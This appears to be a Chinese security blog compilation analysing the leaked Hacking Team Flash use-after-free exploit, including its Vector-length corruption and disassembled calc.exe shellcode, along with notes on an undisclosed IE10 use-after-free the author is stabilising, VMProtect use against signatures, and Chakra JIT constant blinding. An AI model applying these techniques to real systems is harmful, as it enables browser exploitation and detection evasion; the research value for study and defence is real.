Hacking Team泄露Flash 0day分析

不幸被截胡……文章发这儿吧………1555cccc.jpg

content
1 触发原因 (来自Readme)
2 Win7+IE10+FLASH 16调试
3 shellcode
4 效果展示

1 漏洞触发原因
来自ReadMe:
在Flash中定义的ByteArray()对象,在里面添加一个数字类型的值,接着,向里面写入一个对象。

这个时候,AS3会显式调用MyClass的valueOf()方法,而valueOf方法可以重载,例如用户代码可以在代码中重载valueOf并设定对象的长度。

此时,该valueOf实际上会导致flash先保存之前的buffer指针,然后触发分配新内存时,之前保存的buffer实际上就无效了,但是后面toInteger依然会向之前的地址写入内容,写入内容可控,因此导致Uaf的发生。

2 实际例子

在Windows 7 x86+Flash Player 16.0+IE 10中调试如下,在泄露出的Swf的例子中,valueOf这里的反汇编代码为:

_ba.length=0x1100:
1.png

  • 获取原Buffer,将原Buffer的内容(edi+8)给新Buffer,并且修改新Buffer的长度为0x1100。

自带的 readme中精简了不少,但差不多也是这个意思

当这个valueOf返回0x40时,事实上0x40写入的是原来的Buffer的地址(old edi),而在循环new Vector.(0x3f0);的时候,这个位置已经被vector占据了,因此写入的是vector的开头length部分,f0 03 00 00,被写完之后变为了f0 03 00 40,也即这个对象的大小变为了0x4000030f,因此足以跑到各种内存空间上。
2.png

被释放的ByteArray的Length部分的第一个字节被修改为了0x40,使得它的Length变为了0x4000030f
3.png
这样,引用这个vector的时候事实上可以访问非常大的内存空间,至此就转换成了经典的利用vector来搜索全内存的利用方式了。

3 shellcode
该swf使用的shellcode如下,使用CreateProcessA创建calc.exe。考虑到通用性,函数都是地址现场取的,前面的几个常量一看便知:

0:026> uf 0x43bb1b8
Flow analysis was incomplete, some code may be missing
043bb1b8 55              push    ebp
043bb1b9 8bec            mov     ebp,esp
043bb1bb 83c4ac          add     esp,0FFFFFFACh
043bb1be 53              push    ebx
043bb1bf 51              push    ecx
043bb1c0 57              push    edi
043bb1c1 648b0530000000  mov     eax,dword ptr fs:[30h]
043bb1c8 8b400c          mov     eax,dword ptr [eax+0Ch]
043bb1cb 8b400c          mov     eax,dword ptr [eax+0Ch]
043bb1ce 8b00            mov     eax,dword ptr [eax]
043bb1d0 8b00            mov     eax,dword ptr [eax]
043bb1d2 8b5818          mov     ebx,dword ptr [eax+18h]
043bb1d5 89d8            mov     eax,ebx
043bb1d7 03403c          add     eax,dword ptr [eax+3Ch]
043bb1da 8b5078          mov     edx,dword ptr [eax+78h]
043bb1dd 01da            add     edx,ebx
043bb1df 8b7a20          mov     edi,dword ptr [edx+20h]
043bb1e2 01df            add     edi,ebx
043bb1e4 31c9            xor     ecx,ecx
this article comes from www.nul.pw author blast

043bb1e6 8b07            mov     eax,dword ptr [edi]
043bb1e8 01d8            add     eax,ebx
043bb1ea 813843726561    cmp     dword ptr [eax],61657243h ;Crea
043bb1f0 751c            jne     043bb20e

043bb1f2 81780b73734100  cmp     dword ptr [eax+0Bh],417373h ;ssA //CreateProcessA
043bb1f9 7513            jne     043bb20e

043bb1fb 8b4224          mov     eax,dword ptr [edx+24h]
043bb1fe 01d8            add     eax,ebx
043bb200 0fb70448        movzx   eax,word ptr [eax+ecx*2]
043bb204 8b521c          mov     edx,dword ptr [edx+1Ch]
043bb207 01da            add     edx,ebx
043bb209 031c82          add     ebx,dword ptr [edx+eax*4]
043bb20c eb09            jmp     043bb217

043bb20e 83c704          add     edi,4
043bb211 41              inc     ecx
043bb212 3b4a18          cmp     ecx,dword ptr [edx+18h]
043bb215 7ccf            jl      043bb1e6

043bb217 8d45f0          lea     eax,[ebp-10h]
043bb21a 50              push    eax
043bb21b 8d7dac          lea     edi,[ebp-54h]
043bb21e 57              push    edi
043bb21f 31c0            xor     eax,eax
043bb221 b911000000      mov     ecx,11h
043bb226 f3ab            rep stos dword ptr es:[edi]
043bb228 c745ac44000000  mov     dword ptr [ebp-54h],44h
043bb22f 50              push    eax
043bb230 50              push    eax
043bb231 50              push    eax
043bb232 50              push    eax
043bb233 50              push    eax
043bb234 50              push    eax
043bb235 e809000000      call    043bb243
043bb23a 63616c          arpl    word ptr [ecx+6Ch],sp
043bb23d 632e            arpl    word ptr [esi],bp
043bb23f 657865          js      043bb2a7

043bb242 0050ff          add     byte ptr [eax-1],dl
043bb245 d35f59          rcr     dword ptr [edi+59h],cl
043bb248 5b              pop     ebx
043bb249 c1e003          shl     eax,3
043bb24c 83c006          add     eax,6
043bb24f c9              leave
043bb250 c3              ret

4 效果
4.jpg
图:Win7 IE9启动了calc.exe

怎么才能绕过vtguard呢

有一个基于ie 10的use after free,可是vtguard是个麻烦事儿。算了留待周末再看吧。

看起来是一个从ie8就遗留下来的老问题了

20150609 add
但是代码整理起来相当麻烦,看起来还和运行过程中多线程的时序有关,整体崩溃成功率大致在60%左右,五次有三次成功的样子。

本来想尽快整理完出结果,但是精简过程中就出现了时序被破坏之后的各种不稳定情况,很多时候直接变成了无用的空指针解引用,看来这个东西不闹腾个几个月是出不来了,只求这之前还没人报告给微软了

20150630 add
有了点时间 调整了下 目前触发率提升到了100%

无关的参考链接
http://neilscomputerblog.blogspot.com/2014/04/vtguard.html
http://ifsec.blogspot.com/2013/11/exploiting-internet-explorer-11-64-bit.html

VMProtect Mutant的节特征太明显了

使用Mutant的话增加的那节简直不能忍啊,所有打出来的都一样,看来它也就是防破解,并不能做到和当年的Swizzor木马一样牛逼的折腾到全PE特征变化的地步。

但是virtualization似乎是一个不错的选择,VMP会生成一大堆的虚拟机,每个虚拟机对应自己一套bytecode,和jscript 5似的的dispatch interpreter,蛋疼的是它的bytecode是随机生成的,也就是说编译结果也是歪七扭八的,这个倒是我想要的,先就用这个好了,等我发现一些奇怪的特征之后再想办法抛弃这套加密逻辑。

参考资料:
http://www.openrce.org/blog/view/1238/VMProtect,_Part_0:__Basics

Chakra VS C++(MSVC2010)

做一个测试,看看各种情形下两个编译出来的是否一样

测试结果:对比VC2010的优化(OX),Chakra的优化更像是:

Debug
<---Chakra 大概是这个水平
Release O

具体的现象是:明显比Debug的优化要好,出现了大量常量预先计算、switch分支优化、if分支优化的内容。

但是还有一点比较像Debug,那就是它每一条语句干了什么都有所保留,比如在Release O2中

void foo(){
int a = 1;
a = 2;
a ++;
}

直接会被全部优化掉,顶多留一个foo()的空壳,而在Debug中则类似是

void foo(){
int a = 1;
a = 2;
a = a + 1;
}

在Chakra中则类似是

void foo(){
int a = 1;
a = 2;
a = 3; //预先计算
}

Chakra (+IE11)中变量相关的一些内容

1、在IE11的Chakra的常量编译中,Chakra采用了如下策略:

  • 2byte以上常量全部以(n * 2 + 1) xor (some value)过的形式存在内存中;xor key随机,需要一段代码解开才能继续使用;
  • 2byte以下常量将以n*2+1的方式保存,并在需要使用时将其(n-1)/2 (右移一位)再使用。

2、生成的字节码中间还有一大堆nop,防止预测字节码生成位置;

在编译的字节码中确实出现了一定量的无用操作,例如mov edi,edi、lea ebp,[ebp]等,这些夹杂在代码中可以防止攻击者预测地址。

wsh中:

0:000> kvn
 # ChildEBP RetAddr  Args to Child              
00 0032ec34 72ff2ea6 00000000 00184f48 00183240 jscript!CScriptRuntime::Run+0x14d (FPO: [Non-Fpo])
01 0032ed20 72ff2d19 00000000 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0x170 (FPO: [Non-Fpo])
02 0032ed6c 72ff3317 00000000 00000000 00000000 jscript!ScrFncObj::Call+0x7b (FPO: [Non-Fpo])
03 0032ee00 72fffb9f 00184f48 00000000 00000000 jscript!CSession::Execute+0x1f6 (FPO: [SEH])
04 0032ee64 72ffdd02 00000000 00000000 0032f8dc jscript!COleScript::ExecutePendingScripts+0x293 (FPO: [2,13,4])
*** ERROR: Module load completed but symbols could not be loaded for wscript.exe
05 0032ee80 003919ee 00183290 00000001 0039199c jscript!COleScript::SetScriptState+0x51 (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
06 0032eea0 00391499 00821a04 80000001 0032f698 wscript+0x19ee
07 0032f0d8 003933b4 0032f34c 00000000 00181a40 wscript+0x1499
08 0032f67c 00393189 00390000 00000001 00181a38 wscript+0x33b4
09 0032f920 003930fa 00000002 00000000 00000000 wscript+0x3189
0a 0032f948 00392f93 00390000 00000000 00000000 wscript+0x30fa
0b 0032f9a8 756d336a 7efde000 0032f9f4 77ae92b2 wscript+0x2f93
0c 0032f9b4 77ae92b2 7efde000 5829e8d8 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0d 0032f9f4 77ae9285 00392f3b 7efde000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
0e 0032fa0c 00000000 00392f3b 7efde000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

IE8或者WSH会使用旧的JScript.dll来解释JS,JScript 5.8之后的版本号重新计算,改成了JScript 9.0,随IE9发布,工程代号Chakra。

JScript执行引擎是简单的switch-threading解释器,也就是上述栈的jscript!CScriptRuntime::Run。jscript.dll中switch被编译为一个table-based dispatch,上层调用栈也显示在上面的栈回溯里面了。

以具体的例子为例,在JScript.dll (WSH)中,

var j=0x11223344; 
var k=0x44556677; 
var l=0x88888888; 
l=k+j;

代码的解释是靠CScriptRuntime::Run来解释的:

0:000> 
eax=00000003 ebx=0032ec4c ecx=0000004f edx=001865c0 esi=001865b0 edi=00000003
eip=7300a0f9 esp=0032e8c0 ebp=0032ec34 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
jscript!CScriptRuntime::Run+0xf35:
7300a0f9 8b4e18          mov     ecx,dword ptr [esi+18h] ds:002b:001865c8=44556677
0:000> 
eax=00000003 ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a0fc esp=0032e8c0 ebp=0032ec34 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
jscript!CScriptRuntime::Run+0xf38:
7300a0fc 894dd4          mov     dword ptr [ebp-2Ch],ecx ss:002b:0032ec08=44556677
0:000> 
eax=00000003 ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a0ff esp=0032e8c0 ebp=0032ec34 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
jscript!CScriptRuntime::Run+0xf3b:
7300a0ff 8b4608          mov     eax,dword ptr [esi+8] ds:002b:001865b8=11223344
0:000> 
eax=11223344 ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a102 esp=0032e8c0 ebp=0032ec34 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
jscript!CScriptRuntime::Run+0xf3e:
7300a102 03c1            add     eax,ecx
0:000> p
eax=557799bb ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a104 esp=0032e8c0 ebp=0032ec34 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
jscript!CScriptRuntime::Run+0xf40:
7300a104 894618          mov     dword ptr [esi+18h],eax ds:002b:001865c8=44556677
0:000> p
eax=557799bb ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a107 esp=0032e8c0 ebp=0032ec34 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
jscript!CScriptRuntime::Run+0xf43:
7300a107 8b7348          mov     esi,dword ptr [ebx+48h] ds:002b:0032ec94=001865b0
0:000> p
eax=557799bb ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a10a esp=0032e8c0 ebp=0032ec34 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
jscript!CScriptRuntime::Run+0xf46:
7300a10a 8b4608          mov     eax,dword ptr [esi+8] ds:002b:001865b8=11223344
0:000> p
eax=11223344 ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a10d esp=0032e8c0 ebp=0032ec34 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
jscript!CScriptRuntime::Run+0xf49:
7300a10d 8945dc          mov     dword ptr [ebp-24h],eax ss:002b:0032ec10=00185ab4
0:000> p
eax=11223344 ebx=0032ec4c ecx=44556677 edx=001865c0 esi=001865b0 edi=00000003
eip=7300a110 esp=0032e8c0 ebp=0032ec34 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
jscript!CScriptRuntime::Run+0xf4c:
7300a110 394618          cmp     dword ptr [esi+18h],eax ds:002b:001865c8=557799bb

对比在Chakra中,

   8  Id: 42dc.26fc Suspend: 1 Teb: 7efa0000 Unfrozen
 # ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0357baa8 5d8c1c31 02c58da0 80000001 0357bcd0 0x5c5010e
01 0357bad8 5d8d0e7e 0357bcbc 02aa5058 0357bcd0 jscript9!Js::InterpreterStackFrame::OP_ProfiledLoopBodyStart<0,1>+0xb4 (FPO: [Non-Fpo])
02 0357bcc8 5d87cecb 02aa5060 02bc1000 02aa5000 jscript9!Js::InterpreterStackFrame::Process+0x34db (FPO: [Non-Fpo])
03 0357bddc 050a0fe9 0357bdf0 0357be28 5d8782cd jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1ce (FPO: [Non-Fpo])
04 0357bde8 5d8782cd 02c58da0 00000000 0357be60 0x50a0fe9
05 0357be28 5d878a05 00000000 00000000 10f46ebc jscript9!Js::JavascriptFunction::CallFunction<1>+0x91 (FPO: [Non-Fpo])
06 0357be9c 5d87893f 023c71a0 00000000 00000000 jscript9!Js::JavascriptFunction::CallRootFunction+0xc1 (FPO: [Non-Fpo])
07 0357bee4 5d8788bf 0357bf0c 00000000 00000000 jscript9!ScriptSite::CallRootFunction+0x42 (FPO: [Non-Fpo])
08 0357bf14 5d93ffd3 02c58da0 0357bf58 00000000 jscript9!ScriptSite::Execute+0x61 (FPO: [Non-Fpo])
09 0357bf9c 5d93eb90 0357c230 0357c250 10f41010 jscript9!ScriptEngine::ExecutePendingScripts+0x1c6 (FPO: [Non-Fpo])
0a 0357c030 5d93faca 004f44e4 05636aa4 032d4dac jscript9!ScriptEngine::ParseScriptTextCore+0x300 (FPO: [Non-Fpo])
0b 0357c080 5ff42055 023c4af8 004f44e4 05636aa4 jscript9!ScriptEngine::ParseScriptText+0x5a (FPO: [Non-Fpo])
0c 0357c0b8 5ff42190 004f44e4 00000000 00000000 MSHTML!CActiveScriptHolder::ParseScriptText+0x51 (FPO: [Non-Fpo])
0d 0357c118 5ff41e9c 004f44e4 00000000 00000000 MSHTML!CJScript9Holder::ParseScriptText+0x6c (FPO: [Non-Fpo])
0e 0357c188 5ff42dc1 00000000 032d3260 00000000 MSHTML!CScriptCollection::ParseScriptText+0x183 (FPO: [Non-Fpo])
0f 0357c274 5ff4293b 00000000 00000000 00000000 MSHTML!CScriptData::CommitCode+0x370 (FPO: [Non-Fpo])
10 0357c2f0 5ff43424 0357c318 5ff43300 056137d0 MSHTML!CScriptData::Execute+0x2a9 (FPO: [Non-Fpo])
11 0357c310 5fdad89a 056137d0 00000000 055fd148 MSHTML!CHtmScriptParseCtx::Execute+0x130 (FPO: [Non-Fpo])
12 0357c398 5fdc4ee3 2fbad84c 00000000 055fd148 MSHTML!CHtmParseBase::Execute+0x196 (FPO: [Non-Fpo])
13 0357c3b4 5fdc4c92 00000002 056137d0 5fe40e10 MSHTML!CHtmPost::Broadcast+0x153 (FPO: [Non-Fpo])
14 0357c4ec 5fe41118 2fbad84c 004e0cf0 055fd148 MSHTML!CHtmPost::Exec+0x5d9 (FPO: [Non-Fpo])
15 0357c50c 5fe4107e 2fbad84c 055fd148 004e0cf0 MSHTML!CHtmPost::Run+0x3d (FPO: [Non-Fpo])
16 0357c528 5fe494a2 055fd148 055fd148 80000000 MSHTML!PostManExecute+0x61 (FPO: [Non-Fpo])
17 0357c53c 5fe49da8 5fe49d70 0357c57c 004e0cf0 MSHTML!PostManResume+0x7b (FPO: [0,0,4])
18 0357c56c 5fe604f7 05620310 055fd148 004f4470 MSHTML!CHtmPost::OnDwnChanCallback+0x38 (FPO: [Non-Fpo])
19 0357c584 5fcad865 05620310 00000000 004e0cf0 MSHTML!CDwnChan::OnMethodCall+0x3e (FPO: [Non-Fpo])
1a 0357c5d0 5fcad18a 17da4520 00000000 5fcac290 MSHTML!GlobalWndOnMethodCall+0x16d (FPO: [Non-Fpo])
1b 0357c620 761a62fa 006c084c 00008002 00000000 MSHTML!GlobalWndProc+0x2e5 (FPO: [Non-Fpo])
1c 0357c64c 761a6d3a 5fcac290 006c084c 00008002 user32!InternalCallWinProc+0x23
1d 0357c6c4 761a77c4 00000000 5fcac290 006c084c user32!UserCallWinProcCheckWow+0x109 (FPO: [Non-Fpo])
1e 0357c724 761a788a 5fcac290 00000000 0357f900 user32!DispatchMessageWorker+0x3bc (FPO: [Non-Fpo])
1f 0357c734 631200d8 0357c774 006cc428 0049faf8 user32!DispatchMessageW+0xf (FPO: [Non-Fpo])
20 0357f900 6314d0d8 0357f9cc 6314cd50 006c4068 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464 (FPO: [Non-Fpo])
21 0357f9c0 75c4d81c 006cc428 0357f9e4 631b5f70 IEFRAME!LCIETab_ThreadProc+0x37b (FPO: [Non-Fpo])
22 0357f9d8 61823991 006c4068 00000000 00000000 iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1c (FPO: [Non-Fpo])
23 0357fa10 756d336a 004505e8 0357fa5c 77ae92b2 IEShims!IEShims_SetRedirectRegistryForThread+0xe1
24 0357fa1c 77ae92b2 004505e8 5b561dd4 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
25 0357fa5c 77ae9285 61823900 004505e8 ffffffff ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
26 0357fa74 00000000 61823900 004505e8 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

这些解析不出来名字的多是字节码

0:008> uf 05c50000
05c50000 55              push    ebp
05c50001 8bec            mov     ebp,esp
05c50003 81fc64c93803    cmp     esp,338C964h
05c50009 0f8f12000000    jg      05c50021

05c5000f 68a0713c02      push    23C71A0h
05c50014 6864090000      push    964h
05c50019 e8d227cf57      call    jscript9!ThreadContext::ProbeCurrentStack (5d9427f0)
05c5001e 8d2424          lea     esp,[esp]

05c50021 8d6424e4        lea     esp,[esp-1Ch]
05c50025 57              push    edi
05c50026 56              push    esi
05c50027 53              push    ebx
05c50028 bb006ebb02      mov     ebx,2BB6E00h
05c5002d 33f6            xor     esi,esi
05c5002f c605ecb6370201  mov     byte ptr ds:[237B6ECh],1
05c50036 c6050ab6370203  mov     byte ptr ds:[237B60Ah],3
05c5003d 8b05086ebb02    mov     eax,dword ptr ds:[2BB6E08h]
05c50043 8b800c060000    mov     eax,dword ptr [eax+60Ch]
05c50049 8b0d086ebb02    mov     ecx,dword ptr ds:[2BB6E08h]
05c5004f 8bb908060000    mov     edi,dword ptr [ecx+608h]
05c50055 c6050ab6370200  mov     byte ptr ds:[237B60Ah],0
05c5005c 803decb6370201  cmp     byte ptr ds:[237B6ECh],1
05c50063 0f85b1000000    jne     05c5011a

05c50069 a801            test    al,1
05c5006b 0f840d000000    je      05c5007e

05c50071 8bc8            mov     ecx,eax
05c50073 d1f9            sar     ecx,1
05c50075 f20f2ac1        cvtsi2sd xmm0,ecx
05c50079 e911000000      jmp     05c5008f

05c5007e 813858d6865d    cmp     dword ptr [eax],offset jscript9!Js::JavascriptNumber::`vftable' (5d86d658)
05c50084 0f859f000000    jne     05c50129

05c5008a f20f104008      movsd   xmm0,mmword ptr [eax+8]

05c5008f f7c701000000    test    edi,1
05c50095 0f840d000000    je      05c500a8

05c5009b 8bc7            mov     eax,edi
05c5009d d1f8            sar     eax,1
05c5009f f20f2ac8        cvtsi2sd xmm1,eax
05c500a3 e911000000      jmp     05c500b9

05c500a8 813f58d6865d    cmp     dword ptr [edi],offset jscript9!Js::JavascriptNumber::`vftable' (5d86d658)
05c500ae 0f85b1000000    jne     05c50165

05c500b4 f20f104f08      movsd   xmm1,mmword ptr [edi+8]

05c500b9 f20f58c1        addsd   xmm0,xmm1
05c500bd 8b3d20763c02    mov     edi,dword ptr ds:[23C7620h]
05c500c3 8d4710          lea     eax,[edi+10h]
05c500c6 3b051c763c02    cmp     eax,dword ptr ds:[23C761Ch]
05c500cc 0f87d9000000    ja      05c501ab

05c500d2 890520763c02    mov     dword ptr ds:[23C7620h],eax

05c500d8 c70758d6865d    mov     dword ptr [edi],offset jscript9!Js::JavascriptNumber::`vftable' (5d86d658)
05c500de f20f114708      movsd   mmword ptr [edi+8],xmm0
05c500e3 c74704c092c502  mov     dword ptr [edi+4],2C592C0h

05c500ea 46              inc     esi
05c500eb b85860aa02      mov     eax,2AA6058h
05c500f0 8b0d046ebb02    mov     ecx,dword ptr ds:[2BB6E04h]
05c500f6 83c904          or      ecx,4
05c500f9 3b08            cmp     ecx,dword ptr [eax]
05c500fb 0f85d7000000    jne     05c501d8

05c50101 8b0d086ebb02    mov     ecx,dword ptr ds:[2BB6E08h]
05c50107 0fb74006        movzx   eax,word ptr [eax+6]
05c5010b 893c81          mov     dword ptr [ecx+eax*4],edi
05c5010e e9d7ffffff      jmp     05c500ea

05c50113 5b              pop     ebx
05c50114 5e              pop     esi
05c50115 5f              pop     edi
05c50116 8be5            mov     esp,ebp
05c50118 5d              pop     ebp
05c50119 c3              ret

05c5011a c7055c2a410204000000 mov dword ptr ds:[2412A5Ch],4
05c50124 e9a0000000      jmp     05c501c9

05c50129 f20f1145f0      movsd   mmword ptr [ebp-10h],xmm0
05c5012e 8d4df8          lea     ecx,[ebp-8]
05c50131 68a0713c02      push    23C71A0h
05c50136 6a01            push    1
05c50138 51              push    ecx
05c50139 50              push    eax
05c5013a e8a1ccda57      call    jscript9!Js::JavascriptConversion::ToNumber_FromPrimitive (5d9fcde0)
05c5013f 85c0            test    eax,eax
05c50141 f20f1045f0      movsd   xmm0,mmword ptr [ebp-10h]
05c50146 0f850f000000    jne     05c5015b

05c5014c c7055c2a410203000000 mov dword ptr ds:[2412A5Ch],3
05c50156 e96e000000      jmp     05c501c9

05c5015b f20f1045f8      movsd   xmm0,mmword ptr [ebp-8]
05c50160 e92affffff      jmp     05c5008f

05c50165 f20f1145f0      movsd   mmword ptr [ebp-10h],xmm0
05c5016a f20f114de8      movsd   mmword ptr [ebp-18h],xmm1
05c5016f 8d45f8          lea     eax,[ebp-8]
05c50172 68a0713c02      push    23C71A0h
05c50177 6a01            push    1
05c50179 50              push    eax
05c5017a 57              push    edi
05c5017b e860ccda57      call    jscript9!Js::JavascriptConversion::ToNumber_FromPrimitive (5d9fcde0)
05c50180 85c0            test    eax,eax
05c50182 f20f104de8      movsd   xmm1,mmword ptr [ebp-18h]
05c50187 f20f1045f0      movsd   xmm0,mmword ptr [ebp-10h]
05c5018c 0f850f000000    jne     05c501a1

05c50192 c7055c2a410203000000 mov dword ptr ds:[2412A5Ch],3
05c5019c e928000000      jmp     05c501c9

05c501a1 f20f104df8      movsd   xmm1,mmword ptr [ebp-8]
05c501a6 e90effffff      jmp     05c500b9

05c501ab 8d2424          lea     esp,[esp]
05c501ae f20f1145f0      movsd   mmword ptr [ebp-10h],xmm0
05c501b3 681c763c02      push    23C761Ch
05c501b8 e8c3a1c257      call    jscript9!Js::JavascriptOperators::AllocUninitializedNumber (5d87a380)
05c501bd 8bf8            mov     edi,eax
05c501bf f20f1045f0      movsd   xmm0,mmword ptr [ebp-10h]
05c501c4 e90fffffff      jmp     05c500d8

05c501c9 68042a4102      push    2412A04h
05c501ce e88de2d057      call    jscript9!LinearScanMD::SaveAllRegistersAndBailOut (5d95e460)
05c501d3 e93bffffff      jmp     05c50113

05c501d8 6a02            push    2
05c501da 68a0713c02      push    23C71A0h
05c501df 57              push    edi
05c501e0 6887030000      push    387h
05c501e5 53              push    ebx
05c501e6 685860aa02      push    2AA6058h
05c501eb e8307fdb57      call    jscript9!Js::JavascriptOperators::PatchPutRootValueNoLocalFastPath<Js::InlineCache> (5da08120)
05c501f0 e9f5feffff      jmp     05c500ea

相加操作:

05c5008a f20f104008      movsd   xmm0,mmword ptr [eax+8]
....
05c500b4 f20f104f08      movsd   xmm1,mmword ptr [edi+8]
05c500b9 f20f58c1        addsd   xmm0,xmm1

再换个模式,如果这回不是两个变量相加,而是常数相加:
var p = 0x1122 + 0x3344;
在Charka中是:

03540050 8b0d086ee102    mov     ecx,dword ptr ds:[2E16E08h]
03540056 0fb74006        movzx   eax,word ptr [eax+6]
0354005a c70481cd880000  mov     dword ptr [ecx+eax*4],88CDh  <--

var p = 0x1122 + 0x3345;
在Charka中是:

03380045 8b0d0862e602    mov     ecx,dword ptr ds:[2E66208h]
0338004b 0fb74006        movzx   eax,word ptr [eax+6]
0338004f c70481cf880000  mov     dword ptr [ecx+eax*4],88CFh  <--

这是个很好玩的东西,既然88CX不是A+B的结果,那之后使用到它的时候会怎么样呢?紧接着使用p.toString(),看看返回什么:

0:008> bp 03680096 
0:008> g
Breakpoint 0 hit
eax=5d9782f0 ebx=02d06e00 ecx=0288a0b0 edx=02d99b60 esi=05d8a4c6 edi=02d98f40
eip=03680096 esp=0390bb18 ebp=0390bb38 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
03680096 ffd0            call    eax {jscript9!Js::JavascriptNumber::EntryToString (5d9782f0)}

查看esp可见:

0:008> dds esp
0390bb18  02d98f40
0390bb1c  10000001
0390bb20  000088cd

在引用该值时:

0:008> 
eax=00000001 ebx=0288a0b0 ecx=0288a0b0 edx=10000001 esi=000088cd edi=00000001
eip=5d9784bd esp=0390b8d8 ebp=0390bb10 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
jscript9!Js::JavascriptNumber::EntryToString+0x90:
5d9784bd d1fe            sar     esi,1
0:008> 
eax=00000001 ebx=0288a0b0 ecx=0288a0b0 edx=10000001 esi=00004466 edi=00000001
eip=5d9784bf esp=0390b8d8 ebp=0390bb10 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000207
jscript9!Js::JavascriptNumber::EntryToString+0x92:
5d9784bf 8bcb            mov     ecx,ebx

注意esi已经是正确值了:esi=00004466。可见有2点:一是charka采用了类似所有解释器的动作就是给常量预先计算值,二是常量相加计算后将其乘以二后加一保存起来。

再来看看另一个情况:
p = 0x1122;
p.toString();

042a004a 8b0d086e1303    mov     ecx,dword ptr ds:[3136E08h]
042a0050 0fb74006        movzx   eax,word ptr [eax+6]
042a0054 c7048145220000  mov     dword ptr [ecx+eax*4],2245h

还是乘以二加一。

再看看2bytes以上的情况:
var k=0x11223344;

编译之后发现在使用它的时候,Charka会将它xor一个随机的值:

0334004a 8b0d086e9202    mov     ecx,dword ptr ds:[2926E08h]
03340050 0fb74006        movzx   eax,word ptr [eax+6]
03340054 baa6cb27de      mov     edx,0DE27CBA6h
03340059 81f22fad63fc    xor     edx,0FC63AD2Fh
0334005f 891481          mov     dword ptr [ecx+eax*4],edx
03340062 e9ccffffff      jmp     03340033

并在之后可能使用到的时候再xor key解开:

03340067 6a02            push    2
03340069 68d86d4902      push    2496DD8h
0334006e b846088cc8      mov     eax,0C88C0846h  <--xored value
03340073 35cf6ec8ea      xor     eax,0EAC86ECFh  <--key
03340078 50              push    eax
03340079 6895030000      push    395h
0334007e 53              push    ebx
0334007f 6818607302      push    2736018h
03340084 e897806c5a      call    jscript9!Js::JavascriptOperators::PatchPutRootValueNoLocalFastPath<Js::InlineCache> (5da08120)  <-- operator=

试一下分支:

var k=0x11223344;

switch (k)
{
    case 0x11223344:
        k = 0x33445566;
        break;
    case 0x33445566:
        k = 0x44556677;
        break;
    default:
        k = 0x11223344;
        break;
}



03f50039 8b0d086e7802    mov     ecx,dword ptr ds:[2786E08h]
03f5003f ba27753215      mov     edx,15327527h
03f50044 81f2ae137637    xor     edx,377613AEh
03f5004a 899108060000    mov     dword ptr [ecx+608h],edx
03f50050 8b0d086e7802    mov     ecx,dword ptr ds:[2786E08h]
03f50056 baceaadd4b      mov     edx,4BDDAACEh
03f5005b 81f20300552d    xor     edx,2D550003h
03f50061 899108060000    mov     dword ptr [ecx+608h],edx
03f50067 e9baffffff      jmp     03f50026

编译后只剩下:
var k=0x11223344;
k=0x33445566;
不得不说和VS编译器的结果都差不多了。

换一种让switch循环执行的代码,编译结果是:

0:008> uf 31e0000
031e0000 55              push    ebp
031e0001 8bec            mov     ebp,esp
031e0003 81fc4cc92003    cmp     esp,320C94Ch
031e0009 0f8f15000000    jg      031e0024

031e000f 68b0790101      push    10179B0h
031e0014 684c090000      push    94Ch
031e0019 e8d227765a      call    jscript9!ThreadContext::ProbeCurrentStack (5d9427f0)
031e001e 8d2424          lea     esp,[esp]
031e0021 8d2424          lea     esp,[esp]

031e0024 8d6424fc        lea     esp,[esp-4]
031e0028 57              push    edi
031e0029 56              push    esi
031e002a 53              push    ebx
031e002b bb006e9b02      mov     ebx,29B6E00h
031e0030 be008f2601      mov     esi,1268F00h
031e0035 33ff            xor     edi,edi
